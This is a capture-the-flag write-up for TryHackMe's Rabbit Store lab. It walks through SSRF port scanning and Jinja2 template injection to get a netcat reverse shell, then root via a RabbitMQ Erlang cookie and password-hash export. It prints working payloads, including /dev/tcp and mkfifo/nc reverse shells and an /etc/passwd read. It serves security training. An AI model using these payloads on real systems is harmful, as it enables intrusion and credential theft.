Rabbit Store | THM Writeup :: CyberJagadeesh

Introduction

Detailed walkthroughs for Rabbit Store CTF challenges on TryHackMe .

Enumaration

echo 10.10.134.77 rabbitstore.thm >> /etc/hosts

Mapped the IP address to the domain rabbitstore.thm.

Nmap

$ nmap rabbitstore.thm -p22,80,4369,25672 -sC -sV
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3f:da:55:0b:b3:a9:3b:09:5f:b1:db:53:5e:0b:ef:e2 (ECDSA)
|_  256 b7:d3:2e:a7:08:91:66:6b:30:d2:0c:f7:90:cf:9a:f4 (ED25519)
80/tcp    open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://cloudsite.thm/
|_http-server-header: Apache/2.4.52 (Ubuntu)
4369/tcp  open  epmd    Erlang Port Mapper Daemon
| epmd-info: 
|   epmd_port: 4369
|   nodes: 
|_    rabbit: 25672
25672/tcp open  unknown
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

From the above scan, we know that:

Port 22 (SSH): OpenSSH 8.9p1 on Ubuntu, with ECDSA and ED25519 host keys.
Port 80 (HTTP): Apache 2.4.52.
Port 4369 (Erlang Port Mapper Daemon): Used by Erlang for managing distributed nodes; a node rabbit is on port 25672.

The system is running Linux.

Port 80

Let’s go through port 80 of the target IP.

We can see that http://rabbitstore.thm/ is redirected to http://cloudsite.thm/.

So, let’s modify the /etc/hosts file by adding the following entry: 10.10.134.77 rabbitstore.thm cloudsite.thm.

Let’s try to log in.

Due to the redirection when accessing the login page, let’s modify the /etc/hosts file again by adding the following entry: 10.10.134.77 rabbitstore.thm cloudsite.thm storage.cloudsite.thm.

After modifying the /etc/hosts file, we are able to access storage.cloudsite.thm for login.

ffuf1

Let’s fuzz for interesting files and directories.

$ ffuf -c -u http://cloudsite.thm/FUZZ -w /usr/share/wordlists/dirb/big.txt
.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 254ms]
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 254ms]
assets                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 147ms]
javascript              [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 232ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 152ms]

$ ffuf -c -u http://storage.cloudsite.thm/FUZZ -w /usr/share/wordlists/dirb/big.txt
.htaccess               [Status: 403, Size: 286, Words: 20, Lines: 10, Duration: 158ms]
.htpasswd               [Status: 403, Size: 286, Words: 20, Lines: 10, Duration: 222ms]
assets                  [Status: 301, Size: 331, Words: 20, Lines: 10, Duration: 150ms]
css                     [Status: 301, Size: 328, Words: 20, Lines: 10, Duration: 149ms]
fonts                   [Status: 301, Size: 330, Words: 20, Lines: 10, Duration: 239ms]
images                  [Status: 301, Size: 331, Words: 20, Lines: 10, Duration: 179ms]
javascript              [Status: 301, Size: 335, Words: 20, Lines: 10, Duration: 147ms]
js                      [Status: 301, Size: 327, Words: 20, Lines: 10, Duration: 153ms]
server-status           [Status: 403, Size: 286, Words: 20, Lines: 10, Duration: 145ms]

Here, javascript and server-status look interesting to me. Let’s analyze these further.

Let’s try to log in using a random username and password to analyze the response.

We are receiving a generic message: Invalid Username or Password for incorrect login attempts.

Here, the user is able to log in at the /api/login endpoint. Let’s fuzz the /api/ endpoint.

ffuf2

$ ffuf -c -u http://storage.cloudsite.thm/api/FUZZ -w /usr/share/wordlists/dirb/big.txt
Login                   [Status: 405, Size: 36, Words: 4, Lines: 1, Duration: 152ms]
docs                    [Status: 403, Size: 27, Words: 2, Lines: 1, Duration: 156ms]
login                   [Status: 405, Size: 36, Words: 4, Lines: 1, Duration: 166ms]
register                [Status: 405, Size: 36, Words: 4, Lines: 1, Duration: 149ms]
uploads                 [Status: 401, Size: 32, Words: 3, Lines: 1, Duration: 151ms]

Here, docs and uploads seem to be interesting endpoints.

We also have a Sign Up button for registering a new user. Let’s sign up a new user.

We have captured the new user registration request using Burp Suite for further analysis, and we received a user registered successfully response.

When trying to log in using the credentials we registered, we received a response saying inactive.

We can also see the JWT token in the response of the login, where the subscription parameter is set to inactive. This is likely the reason for the inactive response.

We need the secret key to modify the JWT token, but so far, we don’t have any clues about the secret key.

Okay, here let’s try to register a new user by adding "subscription": "active" in the request. By doing so, the user was registered successfully.

When logging in with the new credentials, we got an “active” response.

In the response of the login, we can see that the “subscription” parameter is now set to “active”.

Shell as azrael

SSRF

We got a Secure File Storage page after successfully logging in with an active subscription.

We also have the option to upload from a URL.

**Secure File Storage - Upload from url**

After providing http://127.0.0.1, we got the resulting file path.

File paths are added in the Uploaded Files section on the page (you need to refresh to see new items).

**Secure File Storage - Uploaded Files**

We got the home page result, which means that the application is able to access the internal server.

Now, let’s try to access the interesting endpoint /api/docs/, which we got during fuzzing. We got an Access Denied error.

When we tried to access http://127.0.0.1/api/docs/ using SSRF, we failed to get a result. It may be accessible from a different port.

Let’s try to get the active ports on the localhost of the target using SSRF.

seq

seq is a command-line tool that generates a sequence of numbers. Let’s save the numbers from 0 to 65535 into a file named ports.txt.

seq 0 65535 > ports.txt

ffuf3

We got 4 result ports during fuzzing.

$ ffuf -c -u http://storage.cloudsite.thm/api/store-url -H "Cookie: jwt=$JWT_TOKEN" -H "Content-Type: application/json" -d "{\"url\":\"http://127.0.0.1:FUZZ/api/docs\"}" -w ports.txt -fc 500
________________________________________________
80                      [Status: 200, Size: 106, Words: 5, Lines: 1, Duration: 784ms]
3000                    [Status: 200, Size: 106, Words: 5, Lines: 1, Duration: 494ms]
8000                    [Status: 200, Size: 106, Words: 5, Lines: 1, Duration: 343ms]
15672                   [Status: 200, Size: 106, Words: 5, Lines: 1, Duration: 287ms]

We got the expected response from the endpoint /api/docs/ on port 3000.

**BurpSuite - storeurl http://127.0.0.1:3000/api/docs**

Here, we found an interesting response from the endpoint /api/fetch_messages_from_chatbot.

**BurpSuite - response http://127.0.0.1:3000/api/docs**

Let’s try to reach the endpoint /api/fetch_messages_from_chatbot. We are getting a GET method not allowed response.

**BurpSuite - GET /api/fetch_messeges_from_chatbot**

Let’s try changing the request method to POST and modify the Content-Type to application/json. We got a username parameter is required response.

**BurpSuite - POST /api/fetch_messeges_from_chatbot**

jinja2 - SSTI

Let’s add the username parameter in JSON format. Here, we got the expected response without any error.

By providing random inputs, we got an error showing jinja2.exceptions.

**BurpSuite - /api/fetch_messeges_from_chatbot Error**

We found an exploit for Jinja2 in Searchsploit (ExploitDB) and mirrored it.

$ searchsploit jinja2  
--------------------------------------------------------------------------------------
 Exploit Title                                             |  Path
--------------------------------------------------------------------------------------
Jinja2 2.10 - 'from_string' Server Side Template Injection | python/webapps/46386.py
--------------------------------------------------------------------------------------
$ searchsploit -m 46386
  Exploit: Jinja2 2.10 - 'from_string' Server Side Template Injection
      URL: https://www.exploit-db.com/exploits/46386
     Path: /usr/share/exploitdb/exploits/python/webapps/46386.py
    Codes: CVE-2019-8341
 Verified: False
File Type: Python script, ASCII text executable
Copied to: 46386.py

Let’s read the content of 46386.py.

$ cat 46386.py                          
'''
# Exploit Title: Jinja2 Command injection from_string function
# Exploit Author: JameelNabbo
# Vendor Homepage: http://jinja.pocoo.org
# Software Link: https://pypi.org/project/Jinja2/#files
# CVE-2019-8341

// from_string function is prone to SSTI where it takes the "source" parameter as a template object and render it and then return it.


//here's an example about the vulnerable code that uses from_string function in order to handle a variable in GET called 'username' and returns Hello {username}:
'''

import Flask
import request
import Jinja2


@app.route("/")
def index():
            username = request.values.get('username')
            return Jinja2.from_string('Hello ' + username).render()


if __name__ == "__main__":
            app.run(host='127.0.0.1' , port=4444)

'''
POC
//Exploiting the username param
http://localhost:4444/?username={{4*4}}
OUTPUT: Hello 16

Reading the /etc/passwd

http://localhost:4444/?username={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}


Getting a reverse shell
http://localhost:4444/?username={{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }}


How to prevent it:
Never let the user provide template content.
'''

When trying all the PoCs, {{4*4}} worked, confirming that the site is vulnerable to SSTI.

We also got a PoC to execute shell commands: Server Side Template Injection in Jinja2 allows Remote Command Execution .

{"username":"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"}

We got a response for the shell command.

**BurpSuite - SSTI - Command Execution**

Let’s use RCE payload, to get reverse shell.

{"username":"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.17.62.140 1234 >/tmp/f').read() }}"}

RCE

Got a reverse shell.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.17.62.140] from (UNKNOWN) [10.10.52.241] 48498
sh: 0: can't access tty; job control turned off
$ id
uid=1000(azrael) gid=1000(azrael) groups=1000(azrael)

Improving shell

Let’s make it an interactive shell.

python3 -c 'import pty; pty.spawn("/bin/bash")'
^Z #(Ctrl+Z)
stty raw -echo && fg
export TERM=xterm

Here, we got our first flag.

azrael@forge:~$ cat user.txt 
98d3****************0c47e

Shell as root

When checking for privilege escalation vectors using linpeas.sh , we found an interesting file: /var/lib/rabbitmq/.erlang.cookie. We discovered the Erlang cookie.

azrael@forge:~$ ls -la /var/lib/rabbitmq/.erlang.cookie
-r-----r-- 1 rabbitmq rabbitmq /var/lib/rabbitmq/.erlang.cookie
azrael@forge:~$ cat /var/lib/rabbitmq/.erlang.cookie
FzZsOYeeUBDrNNT6

Rabbitmqctl

Let’s try to get some information from the rabbitmqctl tool. Ref: Ref1 , Ref2 , Ref3 , Ref4 ,Ref5 .

Here, we got information that The password for the root user is the SHA-256 hashed value of the RabbitMQ root user's password.

$ sudo rabbitmqctl --erlang-cookie FzZsOYeeUBDrNNT6 --node rabbit@forge list_users
Listing users ...
user    tags
The password for the root user is the SHA-256 hashed value of the RabbitMQ root user's password. Please don't attempt to crack SHA-256.      []
root    [administrator]

Let’s export the definitions.

$ sudo rabbitmqctl --erlang-cookie FzZsOYeeUBDrNNT6 --node rabbit@forge export_definitions ./definitions.json
Exporting definitions in JSON to a file at "./definitions.json" ...

$ cat definitions.json | jq
{
  ...
  ...
  "users": [
    {
      "hashing_algorithm": "rabbit_password_hashing_sha256",
      "limits": {},
      "name": "The password for the root user is the SHA-256 hashed value of the RabbitMQ root user's password. Please don't attempt to crack SHA-256.",                                  
      "password_hash": "vyf4qvKLpShONYgEiNc6xT/5rLq+23A2RuuhEZ8N10kyN34K",
      "tags": []
    },
    {
      "hashing_algorithm": "rabbit_password_hashing_sha256",
      "limits": {},
      "name": "root",
      "password_hash": "49e6h********************9uxhSBHtGU+YBzWF",
      "tags": [
        "administrator"
      ]
    }
  ],
  ...
  ...
}

Let’s try to decrypt the hash using the Password Algorithm .

$ echo -n 49e6h********************9uxhSBHtGU+YBzWF | base64 -d | xxd -p -c 100
e3d7ba85295d1d16a*************************************98073585

By removing e3d7ba85 (32-bit salt), we get the required hash.

Let’s try to switch to the root user.

azrael@forge:~$ su root
Password: 295d1d16a*************************************98073585

Here is our final flag.

root@forge:~# cat root.txt 
eabf7*****************2fd0852

We solved the lab.

Happy Hacking !!! 😎

Rabbit Store | THM Writeup

Table of Contents